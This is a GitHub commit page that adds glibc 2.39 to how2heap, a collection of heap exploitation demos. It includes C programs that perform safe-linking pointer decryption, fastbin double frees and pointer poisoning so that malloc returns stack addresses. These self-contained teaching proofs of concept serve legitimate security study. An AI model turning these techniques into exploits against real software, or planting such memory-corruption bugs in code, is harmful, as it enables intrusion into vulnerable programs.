Skip to content

Commit

Permalink
add 2.39
Browse files Browse the repository at this point in the history
  • Loading branch information
Kyle-Kyle committed Apr 17, 2024
1 parent 39ecc17 commit ae4dbf5
Show file tree
Hide file tree
Showing 23 changed files with 2,236 additions and 15 deletions.
26 changes: 13 additions & 13 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -152,16 +152,16 @@ jobs:
with:
ubuntu: '23.10'
glibc: '2.38'
# v2_39:
# runs-on: ubuntu-22.04
# name: glibc-v2.39
# steps:
# - name: build how2heap
# uses: shellphish/how2heap/ci/build@master
# with:
# ubuntu: '24.04'
# - name: test how2heap
# uses: shellphish/how2heap/ci/test@master
# with:
# ubuntu: '24.04'
# glibc: '2.39'
v2_39:
runs-on: ubuntu-22.04
name: glibc-v2.39
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '24.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '24.04'
glibc: '2.39'
4 changes: 3 additions & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ V2.35 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_int
V2.36 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.37 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.38 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.39 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine

# turn technique names into paths
VV2.23 = $(addprefix glibc_2.23/, $(V2.23))
Expand All @@ -23,8 +24,9 @@ VV2.35 = $(addprefix glibc_2.35/, $(V2.35))
VV2.36 = $(addprefix glibc_2.36/, $(V2.36))
VV2.37 = $(addprefix glibc_2.37/, $(V2.37))
VV2.38 = $(addprefix glibc_2.38/, $(V2.38))
VV2.39 = $(addprefix glibc_2.39/, $(V2.39))

PROGRAMS = $(BASE) $(VV2.23) $(VV2.24) $(VV2.27) $(VV2.31) $(VV2.32) $(VV2.33) $(VV2.34) $(VV2.35) $(VV2.36) $(VV2.37) $(VV2.38)
PROGRAMS = $(BASE) $(VV2.23) $(VV2.24) $(VV2.27) $(VV2.31) $(VV2.32) $(VV2.33) $(VV2.34) $(VV2.35) $(VV2.36) $(VV2.37) $(VV2.38) $(VV2.39)
CFLAGS += -std=c99 -g -Wno-unused-result -Wno-free-nonheap-object
LDLIBS += -ldl

Expand Down
66 changes: 66 additions & 0 deletions glibc_2.39/decrypt_safe_linking.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

long decrypt(long cipher)
{
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
puts("because of the 12bit sliding.");
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
long key = 0;
long plain;

for(int i=1; i<6; i++) {
int bits = 64-12*i;
if(bits < 0) bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain: %#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}

int main()
{
/*
* This technique demonstrates how to recover the original content from a poisoned
* value because of the safe-linking mechanism.
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
* and the key (ASLR slide) is the same to the pointer's leading bits.
* As a result, as long as the chunk where the pointer is stored is at the same page
* of the pointer itself, the value of the pointer can be fully recovered.
* Otherwise, we can also recover the pointer with the page-offset between the storer
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
* For demonstrations of other more general cases, plz refer to
* https://github.com/n132/Dec-Safe-Linking
*/

setbuf(stdin, NULL);
setbuf(stdout, NULL);

// step 1: allocate chunks
long *a = malloc(0x20);
long *b = malloc(0x20);
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
malloc(0x10);
puts("And then create a padding chunk to prevent consolidation.");


// step 2: free chunks
puts("Now free chunk a and then free chunk b.");
free(a);
free(b);
printf("Now the freelist is: [%p -> %p]\n", b, a);
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);

// step 3: recover the values
puts("Now decrypt the poisoned value");
long plaintext = decrypt(b[0]);

printf("value: %p\n", a);
printf("recovered value: %#lx\n", plaintext);
assert(plaintext == (long)a);
}
50 changes: 50 additions & 0 deletions glibc_2.39/fastbin_dup.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}
43 changes: 43 additions & 0 deletions glibc_2.39/fastbin_dup_consolidate.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

void* p1 = calloc(1,0x40);

printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");

assert(p1 == p3);

printf("Triggering the double free vulnerability!\n\n");
free(p1);

void *p4 = malloc(0x400);

assert(p4 == p3);

printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);

return 0;
}
77 changes: 77 additions & 0 deletions glibc_2.39/fastbin_dup_into_stack.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long stack_var[2] __attribute__ ((aligned (0x10)));

fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
104 changes: 104 additions & 0 deletions glibc_2.39/fastbin_reverse_into_tcache.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
setbuf(stdout, NULL);

printf("\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
"An heap address leak is needed to perform this attack.\n"
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}

printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n");

// Fill the tcache.
for (i = 0; i < 7; i++) free(ptrs[i]);

char* victim = ptrs[7];
printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n", victim);
free(victim);

printf("Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n");

// Fill the fastbin.
for (i = 8; i < 14; i++) free(ptrs[i]);

// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));

printf("The stack address that we intend to target: %p\n"
"It's current value is %p\n", &stack_var[2], (char*)stack_var[2]);

printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n", victim);

//------------VULNERABILITY-----------

// Overwrite linked list pointer in victim.
// The following operation assumes the address of victim is known, thus requiring
// a heap leak.
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));

//------------------------------------

printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n");

// Empty tcache.
for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);

printf("Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n");

for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

printf("\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n");

malloc(allocsize);

for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

char *q = malloc(allocsize);
printf("\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n", q);

assert(q == (char *)&stack_var[2]);

return 0;
}
Loading

0 comments on commit ae4dbf5

Please sign in to comment.